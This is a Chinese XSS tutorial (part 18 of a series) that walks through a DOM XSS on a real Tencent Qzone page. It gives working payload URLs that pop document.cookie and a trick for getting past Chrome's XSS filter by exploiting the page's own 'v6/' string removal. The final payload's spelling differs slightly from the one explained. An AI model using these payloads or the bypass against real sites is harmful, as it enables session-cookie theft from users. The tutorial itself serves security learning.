网站地图    收藏   

主页 > 后端 > 网站安全 >

那些年我们一起学XSS - 18. XSS过滤器绕过 [猥琐绕

来源:自学PHP网    时间:2015-04-17 11:59 作者: 阅读:

[导读] 有些时候,通用的绕过技巧并不可行,这个时候我们就得观察缺陷点的周围环境,想想其它办法咯。猥琐绕过与通用绕过不同的是,它通用性小,往往只是特例。1. 直接看实例点:http...

有些时候,通用的绕过技巧并不可行,这个时候我们就得观察缺陷点的周围环境,想想其它办法咯。“猥琐绕过”与通用绕过不同的是,它通用性小,往往只是特例。


1. 直接看实例点:

http://qzs.qq.com/qzone/v6/custom/custom_module_proxy.html#siDomain=1&g_StyleID=aaaaaaaaaa


2. 可以看出,这是一个DOM XSS的点。

 


3. 我们看看源码

....
var siDomain = paras['siDomain'],
 g_StyleID = paras['g_StyleID'].replace("v6/","");
 if(siDomain.indexOf(".qq.com")>-1){//防止qzs.qq.com
  siDomain = paras['siDomain'] = "qzonestyle.gtimg.cn";
 }
 document.write('<link href="http://'+siDomain+'/qzone_v6/gb/skin/'+g_StyleID+'.css" rel="stylesheet" /><link href="http://'+siDomain+'/qzone_v6/home_normal.css" rel="stylesheet" />');
...


不难看出,siDomain与g_StyleID都是地址栏里获取过来,然后通过document.write输出到页面中。

4. 利用先前教程的知识,我们不难构造出利用代码。

http://qzs.qq.com/qzone/v6/custom/custom_module_proxy.html#siDomain=1&g_StyleID="><script>alert(document.cookie)</script>


可以看到,IE下成功弹出。

 


5. 但是到了chrome下,又被拦截了。。

 


6. 这个时候怎么办呢? 因为这里接受地址栏的参数时,是以 "=" 分割,因而我们的代码中是不允许携带 等号的。故上一篇的技巧不能拿到这里来使用了!

7. chrome拦截,是有一定的拦截规则的,只有它觉得是恶意代码的才会去拦截。这个时候,就需要我们“观察地形”啦!!

我们仔细看看这句。

g_StyleID = paras['g_StyleID'].replace("v6/","");


8. 不难看出,这里会对g_StyleID进行一次替换,将v6/替换为空。那么如果我们的g_StyleID写为下面的情况

<scrv6/ipt>alert(document.cookie)</script>


经过替换后,就会变成。

<script>alert(document.cookie)</script>


但是chrome并不会把<scrv6/ipt>alert(document.cookie)</script> 当作恶意的,是不是就可以绕过了?

我们试试。

http://qzs.qq.com/qzone/v6/custom/custom_module_proxy.html#siDomain=1&g_StyleID="><scv6/ript>alert(document.cookie)</script>


果然可以~

 
 


这样一来,我们这个XSS,就不会被浏览器的XSS过滤器所蹂躏啦!
 修复方案:
进入document.write前,先过滤下

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论